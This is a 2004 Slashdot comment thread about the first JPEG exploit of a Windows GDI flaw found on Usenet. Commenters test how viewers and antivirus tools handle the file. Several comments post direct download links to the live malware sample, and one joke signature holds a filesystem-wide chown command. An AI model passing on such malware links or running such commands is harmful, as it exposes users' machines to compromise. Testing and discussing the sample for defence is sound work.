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First JPEG Virus Posted To Usenet

Shawn writes "This could possibly be the worst viruses yet! Earlier this month Microsoft announced a problem in their GDI driver that processes the way JPEG images are displayed. Someone has finally posted an exploit to Usenet. Easynews, a premium Usenet provider, found the virus Sunday afternoon. Up-to-date information about how we found it and what it does is located at www.easynews.com/virus.txt. When this picture is viewed it installs remote management software (winvnc and radmin) and will connect to irc."

694 comments

  1. Anyone have a working copy? by tuxedobob · · Score: 2, Interesting

    I want to see what GraphicConverter does with this.

    1. Re:Anyone have a working copy? by JS_RIDDLER · · Score: 5, Informative

      In the article the virus.txt has a jpeg sample in code.

      --
      _JS
    2. Re:Anyone have a working copy? by tuxedobob · · Score: 3, Funny

      Don't want sample code. Want JPEG.

    3. Re:Anyone have a working copy? by Anonymous Coward · · Score: 5, Informative

      http://easynews.com/test/possiblevirus.jpg.gz

      Got the link from bugtraq a few hours ago.

    4. Re:Anyone have a working copy? by Anonymous+Freak · · Score: 5, Informative

      Well, Apple's Preview (as of 10.3.5 with all the latest updates as of 6:00 PM PDT, 9/27/04,) says it's not a supported file type.

      Graphic Converter complains that "Some parts of the file may be missing."

      Safari displays a blank page, with no errors.

      In all cases, I can't find any file-system goofiness. (And the free-with-DotMac Virex doesn't detect it as a virus.)

      (The offending "virus" is available as a linked-to zip file in the linked virus.txt page.)

      --
      Another non-functioning site was "uncertainty.microsoft.com."
      The purpose of that site was not known.
    5. Re:Anyone have a working copy? by Tyrdium · · Score: 4, Informative

      Heh, Norton Antivirus wouldn't even let me try it. The heuristics grabbed it before it was even on my desktop. Now [i]that[/i] is impressive.

    6. Re:Anyone have a working copy? by Ariane+6 · · Score: 2, Interesting

      I just downloaded the sample from easynews.

      Quit all internet apps, and watched my network traffic with Activity Monitor.

      Graphic Converter gave its standard "An error occurred while decoding the image. Some parts of the picture may be missing." Message, then displayed a blank white image (555x857)

      No spike in network activity at all, as one would expect.

      (I love my Mac)

    7. Re:Anyone have a working copy? by Yaztromo · · Score: 4, Interesting
      I want to see what GraphicConverter does with this.

      Absolutely nothing. The file is only 8KB in size, and doesn't appear to contain any actual image data. Loading it up in GraphicConverter v4.9 over here (and Preview, and a number of other tools) just reports that the image file is corrupt.

      Yaz.

    8. Re:Anyone have a working copy? by tuxedobob · · Score: 3, Funny

      Thanks! Downloaded and opened!

    9. Re:Anyone have a working copy? by josh3736 · · Score: 0, Redundant
      From TFA...

      The isolated file is here (BE CAREFUL - DON'T SUE ME FOR DAMAGE, I'LL COUNTER-SUE!):

      http://easynews.com/virus/virus-jpeg.zip

      md5: b7e7a5703a722558b6a170be5c43b90d
      crc32:a3e0f71e
      size: 4098 bytes

      Linky... be careful with that!

    10. Re:Anyone have a working copy? by Sir+Haxa1ot · · Score: 0

      I am a Master of tranquility programming. Where are you on the path to tranquility? [tqworld.com] Why the fuck do you keep posting this lameness? tranquillity or tranquility Pronunciation Key (trng-kwl-t, trn-) n. - The quality or state of being tranquil; serenity. A person in such state does not post random shit on Slashdot.

    11. Re:Anyone have a working copy? by rainman_bc · · Score: 4, Funny

      Mine too... Totall impressive. What's even more impressive is the ability to use standard html tags on slashdot :)

      --
      09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    12. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      If you think you are safe you are misleading yourself. Ever notice those security updates that come out every month or 2, or every week sometimes ;-) . Those are to patch security vulnerabilities. If you were rooted by a skilled hacker, your 'activity monitor' would likely show nothing, as would top, etc. Just because this doesn't affect you doen't mean much on the grand scale of things. Matter of fact, most macs that you can gain local access to are easily rooted through apple tools. Rarely do I see the firmware password set.....
      -a mac administrator and reformed cracker

    13. Re:Anyone have a working copy? by Three+Headed+Man · · Score: 5, Funny

      I extracted the bad code, but I'm having trouble getting it to run in WINE.

      Just one more reason Linux isn't ready for the desktop.

      --
      I'm probably at the karma cap. Mod up a funny troll instead, it lightens the mood :)
    14. Re:Anyone have a working copy? by Anonymous Coward · · Score: 1, Funny
      -a mac administrator and reformed cracker

      Uh huh, sure.

      -woman and reformed man

    15. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      Damn, what a dilemma -- your porn could wreck your system. This is getting as bad as real sex.

    16. Re:Anyone have a working copy? by Ariane+6 · · Score: 2, Interesting

      If you think you are safe you are misleading yourself

      I am well aware that I am not ENTIRELY safe, however, one of the upsides to using a platform with low marketshare is that the authors of malware (as exemplified by this and the vast majority of other virii) tend to pay it little attention.

      Matter of fact, most macs that you can gain local access to are easily rooted through apple tools.

      You mean single-user mode? I've used that before. I don't think anyone with local access to my machine gives a shit, though; it's in my bedroom. I suppose that if a cracker is enterprising enough to break into my house and root my machine locally, well...fair play to them :)

    17. Re:Anyone have a working copy? by Ravadill · · Score: 2, Informative

      As of writing the latest clamAV (windows ver) with latest virus DB does NOT find this.

    18. Re:Anyone have a working copy? by boisepunk · · Score: 3, Informative

      GIMP under Win32 gives error "Improper call to JPEG library in state 201".

      I'm not going to try it under internet exploiter or mspaint. ...just trying to be informative

      --
      main(0)
    19. Re:Anyone have a working copy? by HermanAB · · Score: 4, Funny
      Yah, Linux is boring - it just works...

      Windows Users have all the fun!

      --
      Oh well, what the hell...
    20. Re:Anyone have a working copy? by tonyr60 · · Score: 2, Funny

      "I don't think anyone with local access to my machine gives a shit, though; it's in my bedroom. I suppose that if a cracker is enterprising enough to break into my house and root my machine locally, well...fair play to them :)"

      Hey, come on. Root my wife, partner or whatever. No problem there. But definitely not my machine, particularly in my bedroom....

    21. Re:Anyone have a working copy? by tonyr60 · · Score: 1

      I just got a big square black blob. Rather similar to a technical goatse, I guess.

    22. Re:Anyone have a working copy? by Paul+d'Aoust · · Score: 4, Informative

      In all seriousness, I downloaded an example of an Evil JPEG to my Linux computer and tried opening it up in various programs.

      • Eye of Gnome seemed to work okay, but I got all sorts of weird redraw problems when I tried to resize the window.
      • Gimp (2.1) says the JPEG is unsupported and couldn't be imported by the filter, then segfaults.
      • Konqueror seems to work okay, but just shows a tall black rectangle, and its spinner is still chugging away, as if it's still busy loading something.
      • Firefox 0.9.3 has no troubles at all; it just shows a nice white rectangle on a white background

      So, after five minutes of extremely unprofessional research and wild conjectures, I'd say it looks like the stories are true: some Linux programs may be vulnerable too. Yikes!

      mind you, who would ever write an exploit that would only spread to five percent of the computers in the world? ;-)

      --
      Standing at the very edge of my imagination, I peered into the inky void and realised -- I couldn't think up a new sig.
    23. Re:Anyone have a working copy? by Gogo+Dodo · · Score: 2, Interesting
      Did NAV detect it as Bloodhound.Exploit.13?

      What I find interesting is the next one in sequence, Bloodhound.Exploit.14. Looks like IE has problems parsing TIFFs, too. First time I've heard of this. Apparently, Microsoft hasn't acknowledged this one as there's no link on the Symantec site for further details like they do will all the previous ones in the Bloodhound.Exploit series.

    24. Re:Anyone have a working copy? by Jussi+K.+Kojootti · · Score: 2, Informative

      TIFF supports using different compressions including jpeg (not all programs accept unusual choices though). That could be the reason.

    25. Re:Anyone have a working copy? by Anonymous Coward · · Score: 4, Funny

      Yeah but Linux users make up 90% of the porn-downloading population; therefore, there is an elevated risk.

    26. Re:Anyone have a working copy? by Gogo+Dodo · · Score: 2, Informative

      I found this on SecurityFocus: Microsoft Windows XP Explorer.EXE TIFF Image Denial of Service Vulnerability. Looks like Symantec is proactive, but then that is what their Bloodhound stuff is for.

    27. Re:Anyone have a working copy? by Anonymous Coward · · Score: 1, Insightful
      mind you, who would ever write an exploit that would only spread to five percent of the computers in the world? ;-)

      The ms-sql exploit spread to less than five percent of the computers in the world...

    28. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      $ uvscan --version
      Virus Scan for Linux v4.32.0
      Copyright (c) 1992-2003 Networks Associates Technology Inc. All rights reserved.
      (408) 988-3832 LICENSED COPY - Nov 27 2003

      Scan engine v4.3.20 for Linux.
      Virus data file v4394 created Sep 22 2004
      Scanning for 101138 viruses, trojans and variants.
      $ uvscan --secure possibleVirus.jpg
      /home/rio/possibleVirus.jpg
      Found the Exploit-MS04-028 trojan !!!

    29. Re:Anyone have a working copy? by famebait · · Score: 3, Interesting

      So, after five minutes of extremely unprofessional research and wild conjectures, I'd say it looks like the stories are true: some Linux programs may be vulnerable too. Yikes!

      I don't know much of Linux internals, but I don't think it is obvious that it is vulnerable just because programs can get confused by unexpected data.

      UNIX generally has separate code and data segments, and with modern CPUs with memory management the OS should be able to enforce the separation very strictly. Doesn't Linux do this?

      It has long been a mystery to me why Windows did not (up until XP SP2). Whole classes of overflow exploits and system threats from bugs are just not be possible if you can't execute code that's not explicitly loaded into executable segments, and if normal data-writes simply don't have write access to executable memory.

      --
      sudo ergo sum
    30. Re:Anyone have a working copy? by Anonymous Coward · · Score: 2, Insightful

      Thing is, without NX x86 processors have no way of marking pages as non-executable. Not even on linux.

    31. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      Yeah, and free-AV too...

    32. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      ugh!
      did you completely fail to read the description of how the thing works??!!!??

      It's an exploit of a specific WINDOWS DLL. Unless GIMP etc are calling that specific DLL (which they are not), then the most it's going to do is upset the progs because it isn't a valid jpg file.

      Lets all be a muppet today

    33. Re:Anyone have a working copy? by fafaforza · · Score: 0, Troll

      Yah, Linux is boring - it just works...

      Surely, you must be joking.

    34. Re:Anyone have a working copy? by famebait · · Score: 1

      Bt surely you could make it difficult/unlikely to get the instruction pointer to ever end up over there?

      --
      sudo ergo sum
    35. Re:Anyone have a working copy? by ajs · · Score: 3, Interesting

      I don't know much of Linux internals, but I don't think it is obvious that it is vulnerable just because programs can get confused by unexpected data.

      Simple answer: no, and that's why buffer overflow attacks work.

      Yeah, I've been waiting for years to hear about the first image-based attacks for Linux. I was kind of surprised that the first exploits arrived for Windows instead of Linux, just because we've known about several holes in Linux over the years (look at the changelog for any image processing library). The down-side is that you can't always "root the box" based on an image attack because a user will be running the browser, but I would think that access to the machine is enough for most zombification and you can always go after local exploits to get root at that point.

      Linux needs a good suite of exploitive data (that doesn't do anything) for projects to test against. Perhaps I'll work on that in my spare time (every format and protocol has many spots where it would be easy for a lazy programmer to do static allocation and then fail to bounds-checks, so you just write code/generate data that exploits each one of these places. I've done this for specific proprietary applications before.

    36. Re:Anyone have a working copy? by mbaciarello · · Score: 0, Redundant

      Is IE affected by the exploit, as well?

      And if so, would Norton or other antivirus software catch the bad code in time?

      I guess that's one of the main points...

    37. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      uggg.... I wish people would realize that WINE runs on more kernels than just linux...... and WINE is not a product of linux!

    38. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      "some Linux programs may be vulnerable too"

      Just because you can run progams in linux doesn't mean they are "linux programs". EG, I can run Doom3.exe in cedega in XFree86 while running linux 2.6.7, but that doesn't mean doom3.exe is a linux program.
      Mozilla, gimp, firefox can all run on many kernels including windows nt kernel.... I bet you could get knoqueror to as well, but I've never tried.

    39. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      with linux you have to patch it against grsecurity (or some other patch) and then manually ENABLE the N^X (or non-executable stack or whatever they want to call it now).... the only two kernels I know that enable it by default are OpenBSD (obviously), and windows XP kernel with the SP2 patch. It's good times when Microsoft is able to stick it to the elitist kernel worshippers and have more security out of the box. :)

    40. Re:Anyone have a working copy? by lachlan76 · · Score: 1
      Just tried it on my XP SP2 box, and here's what I have so far:
      1. Preview window says drawing failed.
      2. Fireworks says "unknown file type".
      3. GIMP 2.0: jpeg.exe crashed.
      It seems you are right - anything that tries to render it will crash.
    41. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      yeah but movies is where it is at baby

    42. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      you're a complete and total idiot who has missed the point of the poster, who is correctly stating that many linux applications are not handling unexpected data correctly, and therefore are likely to be vulnerable to a similar class of attack, if you modify the payload and exact details of the implementation.

    43. Re:Anyone have a working copy? by marklark · · Score: 2, Informative


      Hmmm... Perhaps you need to update your Virex.

      Mine, v7.5, did find it and offer to clean it.

      $0.02

    44. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      I'd say it looks like the stories are true: some Linux programs may be vulnerable too. Yikes!

      Linux programs certainly are vulnerable to jpeg exploits (just not this one)... including anything using Qt (such as any KDE app, like Konqueror). Notably, slashdot didn't bother to post a story about Qt's recent jpeg security hole, despite the ones posted about Windows and GTK. Tells you all you need to know about slashdot and its biases.

    45. Re:Anyone have a working copy? by pyite · · Score: 1

      Holy crap. Read the posts DIRECTLY above yours.

      --

      "Nature doesn't care how smart you are. You can still be wrong." - Richard Feynman

    46. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      So, after five minutes of extremely unprofessional research and wild conjectures, I'd say it looks like the stories are true: some Linux programs may be vulnerable too. Yikes!

      So does that mean Microsoft Windows contains open source?

      Snicker

    47. Re:Anyone have a working copy? by JFitzsimmons · · Score: 1

      Yeah man, we totally need +1 Stupidity so everyone can point and laugh.

      --
      Beware he who would deny you access to information, for in his heart he dreams himself your master. -Anonymous
    48. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      It reference to Mac game, please to unknot panties now and press key to continue.

    49. Re:Anyone have a working copy? by mbaciarello · · Score: 1

      That better be +1 Inarticulate, if it must...

      What I meant was, "Are JPEG's visualized in IE (in webpages) exploitable? And if so are they checked by AV?"

      Those who posted above are talking about downloading the file for later opening, I presume. They're saying Norton got it "before it landed on their desktop."

      I guess my answer now lies in a couple of posts near the bottom of the page. Many thanks for your help...

    50. Re:Anyone have a working copy? by The_ForeignEye · · Score: 2, Funny

      He was not joking. ...and don't call him surely.

    51. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      Yea, we'll call it metasploit or soemthing.

    52. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0

      You mean single-user mode?

      Single user mode gives you a root prompt, and therefore 0wn4g3 of said machine. Once again, may not apply to you , but applies to any mac in a non-secure area.

    53. Re:Anyone have a working copy? by SirTalon42 · · Score: 1

      Intresting... Fedora already has this protection on x86 processors.

    54. Re:Anyone have a working copy? by SirTalon42 · · Score: 1

      Fedora Core comes out of the box with NX on.

    55. Re:Anyone have a working copy? by Anonymous Coward · · Score: 0
      I see no evidence of any link between
      HermanAB
      and Feynmann.
    56. Re:Anyone have a working copy? by Anonymous+Freak · · Score: 1

      Ah, yes. That did it.

      --
      Another non-functioning site was "uncertainty.microsoft.com."
      The purpose of that site was not known.
    57. Re:Anyone have a working copy? by skids · · Score: 1

      "many linux applications are not handling unexpected data correctly, and therefore are likely to be vulnerable to a similar class"

      He did miss the point in that the payload can easily be changed to something specific to Linux, but this last statement is not true. Apps are not "likely" to be vulnerable just because they fail to display the image, nor are they "likely" to be vulnerable if they manage to display, however garbled, the image but do not complain.

      The segfault in GIMP is disturbing, probably the most likely place to look for holes than the rest of the bunch, but a library/application can still be completely secure even though it is buggy, and there's really no reason why an attempt to render the salvageable portion of a corrupted image should not be made.

      Not that image loaders should not be subjected to the same scrutiny (and general overall improvement beyond security concerns) as all other code. In fact, a security review prompted by the discovery of the GDI defect did in fact find some missed holes in some graphics libraries as posted a week or so ago.

    58. Re:Anyone have a working copy? by Nightreaver · · Score: 0

      So your not running XP, since your still here...

    59. Re:Anyone have a working copy? by dunng808 · · Score: 1

      Where porn is involved a lot more than risk gets elevated, regardless of which OS is being used.

      --

      Gary Dunn
      Open Slate Project

    60. Re:Anyone have a working copy? by Perky_Goth · · Score: 1

      Impressive would be a post modded to +5 without spelling errors!

    61. Re:Anyone have a working copy? by rainman_bc · · Score: 1

      Hehe Ooops.. Saw that I missed the "y" on Totally... lol... Oh well... Was being cheeky is all, but in slashdot moderators' defence, it was only +4 :)

      --
      09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    62. Re:Anyone have a working copy? by Beale · · Score: 1

      Excuse me while I get my tinfoil hat and conspiracy marker.

  2. Goatse by paughsw · · Score: 2, Funny

    One more reason not to look at that goatse picture!

    1. Re:Goatse by Molina+the+Bofh · · Score: 3, Funny

      It'll leave your backdoor wide open.

      --

      -
      Roses are #FF0000, Violets are #0000FF, find / -name '*base*' |xargs chown -R us && mv zig greatjustice
    2. Re:Goatse by Anonymous Coward · · Score: 1, Funny

      Now THAT's what I call a security hole!

    3. Re:Goatse by trick-knee · · Score: 0

      > It'll leave your backdoor wide open.
      that's a recycled joke.

    4. Re:Goatse by devilspgd · · Score: 3, Funny

      If the editors can dupe, why not the posters?

      --
      Give a man a fish, he'll eat for a day, but teach a man to phish...
    5. Re:Goatse by kaitou · · Score: 0

      welcome to the interweb ;)

    6. Re:Goatse by NanoGator · · Score: 2, Funny

      ...If the editors can dupe, why not the posters?

      --
      "Derp de derp."
    7. Re:Goatse by Selfbain · · Score: 0, Offtopic

      *crickets*

      --
      Well, it has never been successfully tested.
  3. Wow. by Anonymous Coward · · Score: 0

    I think I speak best when I say......




    Pwnd

  4. In Soviet Russia... by Anonymous Coward · · Score: 1, Funny

    Usenet posts JPEG viruses to you!

    1. Re:In Soviet Russia... by Anonymous Coward · · Score: 0

      As opposed to Capitalist America, where JPEG viruses post Usenets to you??

    2. Re:In Soviet Russia... by ultranova · · Score: 1

      Nah, in Capitalist America the Usenet spammers sue you (see the sig) !

      But seriously, how long do you think before porn spammers start sending JPEGs with mailbots attached ?

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    3. Re:In Soviet Russia... by Anonymous Coward · · Score: 0, Informative

      First time you hear a joke, it might be funny. Second time you might laugh because you are so polite. But do you have to tell that stupid joke on every damn story? It's not funny anymore!

    4. Re:In Soviet Russia... by rd_syringe · · Score: 1

      I don't suppose it matters that this JPEG bug was patched long ago, and SP2 users were never affected. But I don't think Slashdot will ever stop posting articles about it.

  5. That's pretty amazing. by autopr0n · · Score: 3, Funny

    Congrats, microsoft, for making just about every filetype unsafe.

    The worst part is that you don't even need to be using IE. Hopefully mozilla decodes the jpgs itself before rendering them on windows.

    --
    autopr0n is like, down and stuff.
    1. Re:That's pretty amazing. by FooAtWFU · · Score: 3, Informative

      Any recent version certainly does so.

      --
      The World Wide Web is dying. Soon, we shall have only the Internet.
    2. Re:That's pretty amazing. by mini+me · · Score: 5, Informative

      Hopefully mozilla decodes the jpgs itself before rendering them on windows.

      It does. But Mozilla had almost the exact same problem with both BMP and PNG in the last week or two. So it's not just Microsoft who has vulnerable image decoders.

    3. Re:That's pretty amazing. by MasterDater · · Score: 0, Flamebait

      Linux had a similar security hole a week or so ago, bigmouth. Of course, you won't see THAT on the slashdot front page.

    4. Re:That's pretty amazing. by ConceptJunkie · · Score: 4, Insightful

      This reminds me of my first thought when I saw Windows 95 message "It is now safe to turn off your computer."

      Which was, "However it is no longer safe to turn on your computer."

      Quality freefall.

      Really, how much new useful functionality has MS provided in the last 5 years? It takes just as long to load apps now as it did 10 years ago, even though machines are 10 times faster with 100 times more memory. Functionality increases at best in a linear fashion, while system requirements increase at a geometric rate. Software eats more of your computer and offers less in return.

      Remember when MS supposedly shut down for a month to work on security issues? That was about 4 years ago. Not only did the problems not go away, but the occurance of gaping new exploits increased significantly.

      Maybe they should shut down for a year. Take all the gigabyte-gobbling shit they've written for the last 10 years and turn it into useful code with no new functionality. Returning with the same stuff they have now, but with little or no security issues would win them more customers than their current monopolistic policies and FUD spreading ever will.

      Really, what else could they possibly do besides introduce a bunch of bloated new technologies for doing the same damn thing we all wrote for ourselves years ago, but without all the MS lock in and huge learning curve?

      I have to ask, what has MS done that is actually useful since Windows 2000?

      --
      You are in a maze of twisty little passages, all alike.
    5. Re:That's pretty amazing. by datawar · · Score: 5, Informative

      Are you serious? Of course Slashdot covered those stories too.

      Critical Mozilla, Thunderbird Vulnerabilities

      CERT Warns Of Multiple Vulnerabilities In Libpng

    6. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Parent is flaimbait?? WTF?? What are moderators smoking now?

    7. Re:That's pretty amazing. by Anonymous Coward · · Score: 0
      I have to ask, what has MS done that is actually useful since Windows 2000?
      You should submit that as an "Ask Slashdot!"
    8. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Grandparent is flamebait because the poster flat-out lied about whether certain stories were covered on Slashdot in order to attract flameage. That's flamebait.

    9. Re:That's pretty amazing. by craXORjack · · Score: 4, Insightful
      It takes just as long to load apps now as it did 10 years ago, even though machines are 10 times faster with 100 times more memory.

      I'm glad I'm not the only one who noticed this. btw cpu's are way faster than 10x faster. In 1994 I could only afford a 386sx at 16Mhz. Not only is the clock speed faster but the chip has gone through several major revisions. Yet I think that 386sx booted up faster and ran Lotus and Wordperfect under DOS just as fast as anything out there on Windows today. Of course there are some advantages to windows but speed sure isn't one of them!

      --
      Liberals call everyone Nazis yet they are the closest thing to it.
    10. Re:That's pretty amazing. by 222 · · Score: 1

      Im not sure if this will help, but im pretty sure it does. There were a few rare athlon cpus that had trouble decoding jpegs (the one i ran across was a 900mhz).
      Instead of the jpg, you would see a horrible medley of colored pixels... it was horrible ;). My quick "fix" was to install mozilla, for some reason it didnt seem to be affected the way IE was.

    11. Re:That's pretty amazing. by joelanders · · Score: 2, Funny

      I always thought I could avoid viruses by looking at pr0n instead of....

    12. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Functionality increases at best in a linear fashion,

      Perhaps, the industry is just between two near-linear points on a logarithmic plane?

    13. Re:That's pretty amazing. by Naffer · · Score: 1

      Who downloads bitmap or png porn though?

    14. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      he was talking about the parent to his post, you are talking about your post's great-grandparent. Not the same post. Moderations change over time.

    15. Re:That's pretty amazing. by ConceptJunkie · · Score: 4, Interesting

      The real kicker was when I switched to Outlook 2003 from Outlook Express. From a usability point of view, it was a pretty good improvement, especially the spam handling, but with a fairly large message store, it took at least an order of magnitude longer to access folders, etc, in O2k3 than OE. It was absurd. Oh, yeah, and the fact that an O2k3 data store can't be bigger than about 1GB to 1.5GB before it starts losing messages (I couldn't believe this at first but it was confirmed by two people with much more MS experience than me). I switched to Thunderbird around 0.5 and haven't given it a second thought.

      Now here's a case where the MS software really was well-designed and easy to use (from a UI standpoint), but the grotesque slowness of the app killed it for me.

      In 1994, I had a 50MHz 486SX... I didn't buy a Pentium 100 until '96, so you're right. Clock speed is more like 40 - 60 times faster (and thanks to wonders of CISC, performance is more than that). And disk space has increased for me by 3 orders of magnitude.

      I seem to recall MicroCenter or CompUSA having a "Buck-a-Meg" sale and I bought a 340MB drive for $340, bringing my total to a whopping 580MB. Now I've got about 600GB over about 4 machines, maybe more since each box is crammed full of old drives ranging from 7GB to 250GB etc in addition to a few bigger drives.

      I used to hate how my Amiga took like 3 minutes to boot back in the late 80's. Windows 2000 on a machine that was 100 times faster took around the same time. XP is much better, but still, there are times when I have a lot of apps loaded and it just seems to go out to lunch for several seconds before anything responds. And don't get me started on the launch time for Word 2003...

      --
      You are in a maze of twisty little passages, all alike.
    16. Re:That's pretty amazing. by madmancarman · · Score: 2, Funny
      I have to ask, what has MS done that is actually useful since Windows 2000?

      They killed Clippy.

      --
      First they ignore you, then they laugh at you, then they fight you, then you win. -- Gandhi
    17. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Functionality increases at best in a linear fashion, while system requirements increase at a geometric rate.

      Pardon my ignorance, but how do you define geometric rate?

    18. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Maybe they should shut down for a year.

      Or ten to twenty.. please!

    19. Re:That's pretty amazing. by Doyle · · Score: 5, Funny

      I have to ask, what has MS done that is actually useful since Windows 2000?

      You mean, apart from the sanitation, the medicine, education, wine, public order, irrigation, roads, a fresh water system, and public health?

      Oh, wait - that was the Romans :P

    20. Re:That's pretty amazing. by ConceptJunkie · · Score: 1

      Lead plumbing. Don't forget lead plumbing.

      --
      You are in a maze of twisty little passages, all alike.
    21. Re:That's pretty amazing. by ConceptJunkie · · Score: 1

      A linear progressing, obviously is something like 1, 2, 3, 4...

      A geometric progression would be something like 1, 2, 4, 8...

      In other words, multiplying rather than adding. It's a standard mathemtical term.

      --
      You are in a maze of twisty little passages, all alike.
    22. Re:That's pretty amazing. by Derek+Pomery · · Score: 1

      Um. Not that I'm doubting you but...
      What exploit in mozilla? Mozilla uses libpr0n, and this is the first I've heard of any such libpr0n vulnerability.
      I mean, there *was* a recent one about a GTK vulnerability which would affect Gecko browsers using GTK, but that was only in chrome. That'd require you to, oh, install a theme to get hacked, and if you're installing a bunch of stuff to your HD anyway, seems an image exploit is rather the long way to go about it.

      --
      -- perl -e'print pack"H*","6e656d6f406d38792e6f7267"' /. ate my old sig. Bastards.
    23. Re:That's pretty amazing. by HermanAB · · Score: 3, Funny

      No dammit, if MS fix their code it will kill the PC support industry and another million wannabe geeks will be out of work...

      --
      Oh well, what the hell...
    24. Re:That's pretty amazing. by ConceptJunkie · · Score: 3, Funny

      What has Open Source done in the last 4 years?

      Gone from Linux 2.0 to Linux 2.4 with all the huge improvements that go with it.

      Built a world-class browser from scratch. Ditto for e-mail.

      Developed half the apps I use under Windows.

      (And while I like the Windows development platform, ironically, I still use VC++ 6 because that's what all my clients use and want.)

      : What have other large companies done in the past 4 years?

      Sun: Got in a pissing match with MS over Java. Won, or lost... heck I don't even know (or care).

      Oracle: Continues to resent losing a competitive pissing match with MS despite having a superior product

      Corel: Tried to enter a pissing match with MS with 1/100th of the resources... failed miserably and sold everything

      Apple: Continued their pissing match with MS over usability (and is still losing the war despite winning all the battles)

      IBM: Set themselves up for a pissing match with MS by backing Linux.

      SCO: Pissed off everyone.

      Enron: Pissed on everyone.

      Novell: Pissed themselves.

      --
      You are in a maze of twisty little passages, all alike.
    25. Re:That's pretty amazing. by toopc · · Score: 1
      Yet I think that 386sx booted up faster and ran Lotus and Wordperfect under DOS just as fast as anything out there on Windows today. Of course there are some advantages to windows but speed sure isn't one of them!

      Really?? Both Excel & Word boot in something like a half second on my machine. And my machine is no where near the fastest currently available.

      So perhaps DOS was faster (although I don't think it was), but I don't really care. I guess over a lifetime those tenths of a second may add up to a couple of minutes, but I'm okay with that.

    26. Re:That's pretty amazing. by Anonymous Coward · · Score: 2, Informative

      Known vulnerabilities in Mozilla.

      These would be numbers 83 and 89 on that list.

    27. Re:That's pretty amazing. by 1000StonedMonkeys · · Score: 1

      All it takes is:

    28. Re:That's pretty amazing. by Derek+Pomery · · Score: 1

      Thanks.
      Actually, after I posted my mind was jogged.
      Remembered one post on the infamous bug #18574 regarding the fact that the libpng vulnerability could also be solved by deprecating it and having PNG be a subset of libmng.

      Didn't know about the BMP one though.
      *bookmarks*

      --
      -- perl -e'print pack"H*","6e656d6f406d38792e6f7267"' /. ate my old sig. Bastards.
    29. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      In fact, several years ago Netscape/Mozilla had the exact same bug! MS and Moz made the exact same error. It's an easy one to make.

      Presumably the exploit would need to be different for Mozilla though, even if the bug did still exist. It's things like the shell: exploit that apply to Mozilla AND IE that really worry me. IE's a big, tempting target and Mozilla could get caught in the crossfire.

    30. Re:That's pretty amazing. by Chaotic+Evil+Cleric · · Score: 1

      Sad that the only useful thing they've done is hit "undo" on themselves.

      Now if only they'd take it a step or two further...

    31. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Doesn't seem to be the same bug. That was in the comment handler. this one is in the actual image data handler. An equivalent bug would have been in libjpeg.

    32. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Oh? I thought it was the same comment block issue. If you've got a link to more details, I'd like to see it.

    33. Re:That's pretty amazing. by rd_syringe · · Score: 1

      Get him! He's threatening the hegemony!

    34. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Don't knock it 'till you've tried it.

    35. Re:That's pretty amazing. by NanoGator · · Score: 1

      "Congrats, microsoft, for making just about every filetype unsafe."

      The silver lining is that Microsoft only needed to fix it once. I didn't have to go download a fix for explorer, iexplorer, image viewer, Outlook, Word...

      --
      "Derp de derp."
    36. Re:That's pretty amazing. by visgoth · · Score: 1

      I remember nt4 sans servicepacks taking up roughly 60-80 megs of drivespace. Winxp is chugging down at least a gig and a half, and really doesn't offer me much more than nt4 did.

      --
      My patience is infinite, my time is not.
    37. Re:That's pretty amazing. by NanoGator · · Score: 2, Informative

      "I have to ask, what has MS done that is actually useful since Windows 2000?"

      The image viewer that comes with XP is very nice. (Especially for us pr0n freaks.) You can log in as another user without logging out the previous user. (We use that at work fairly frequently.) CD burning is built in to explorer. Startup and shutdown are considerably faster. You can actually lock the taskbar, although MS should have added that when they first put it in. I've noticed fewer restarts after installing some stuff, but it's been a long time since I've done that so I can't be more specific. Etc etc etc.

      To sum it up: I have a 2k workstation at home and an XP workstation at work, and boy do I feel the dfference. I can still do my work just fine on 2K (i.e. I'm not excatly running out and buying the upgrade) but I am glad I have it at work and on my laptop. XP isn't total garbage compared to 2K.

      --
      "Derp de derp."
    38. Re:That's pretty amazing. by NanoGator · · Score: 1

      "Are you serious? Of course Slashdot covered those stories too."

      Yeah, but the attitude was different. "This just more proof how great the OSS Community is!" Whereas in MS's case, it was "This is further proof that nobody should ever use Windows!!!"

      --
      "Derp de derp."
    39. Re:That's pretty amazing. by IchBinEinPenguin · · Score: 5, Informative

      Returning with the same stuff they have now, but with little or no security issues

      Sorry, that won't work.

      Some of the stuff is insecure by design!. Not "designed to be insecure", just "impossible to secure given the design".

      Take ActiveX: running binary code downloaded from a anywhere without a JVM-like sandbox is insecure. Not matter how many digital signatures, OK dialog boxes and warnig messages you add, some (most?) users WILL simply click through all the warnings and have their boxes 0wn3d.

      Design has tradeoffs between security, performance, usability etc. etc. Some of this stuff you can't fix without changing the basic design (i.e. starting from scratch)

    40. Re:That's pretty amazing. by polecat_redux · · Score: 1, Funny

      Take all the gigabyte-gobbling shit they've written for the last 10 years and turn it into useful code with no new functionality.

